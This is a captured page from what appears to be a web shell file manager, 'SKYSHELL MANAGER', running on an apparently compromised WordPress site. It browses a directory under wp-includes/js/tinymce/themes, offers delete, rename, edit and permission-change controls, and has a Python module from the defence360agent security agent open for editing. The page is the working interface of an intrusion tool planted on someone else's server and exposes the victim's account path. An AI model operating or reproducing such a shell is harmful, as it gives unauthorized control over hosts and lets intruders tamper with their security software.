📁
SKYSHELL MANAGER
PHP v8.1.34
Create
Create
Path:
root
/
home
/
terracebizon
/
public_html
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
21175.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: plugins.py
import asyncio import logging from defence360agent import utils from defence360agent.contracts import messages, plugins logger = logging.getLogger(__name__) class IDSAwareMessageSink(plugins.MessageSink): """A message sink that accepts messages taking into account the current IDS (strategy). """ STRATEGY = None # no IDS preference by default @plugins.expect(messages.MessageType.StrategyChange) async def on_strategy_change(self, message): """De/activate the plugin on strategy change if necessary.""" # - activate sink if it has no IDS preference # - activate sink if it can work with the current IDS (as # indicated by STRATEGY) # - deactivate sink if it can't work with the current IDS if self.STRATEGY is None or message.strategy == self.STRATEGY: if not self.is_active(): try: await self.activate() except asyncio.CancelledError: raise except Exception: logger.exception("Failed to activate %r plugin", self) utils.fail_agent_service() else: logger.info("Plugin %r is activated", self) elif self.is_active(): try: await self.deactivate() except (Exception, asyncio.CancelledError): logger.exception("Failed to deactivate %r plugin", self) utils.fail_agent_service() else: logger.info("Plugin %r is deactivated", self) async def process_message(self, message): if self.is_active() or isinstance( message, messages.MessageType.StrategyChange ): return await super().process_message(message) async def shutdown(self): if self.is_active(): try: await self.deactivate() except (Exception, asyncio.CancelledError): logger.exception("Failed to deactivate %r plugin", self) # NOTE: don't propagate errors on shutdown else: logger.info("Plugin %r is deactivated", self) return await super().shutdown() async def activate(self): """This method will be called for plugins with specified strategy when this strategy becomes active. """ self._mark_as_active() async def deactivate(self): """This method will be called for plugins with specified strategy when this strategy becomes inactive. """ self._mark_as_inactive() def is_active(self): """Indicates if plugin is active.""" return getattr(self, "_is_active", False) def _mark_as_active(self): self._is_active = True def _mark_as_inactive(self): self._is_active = False
Save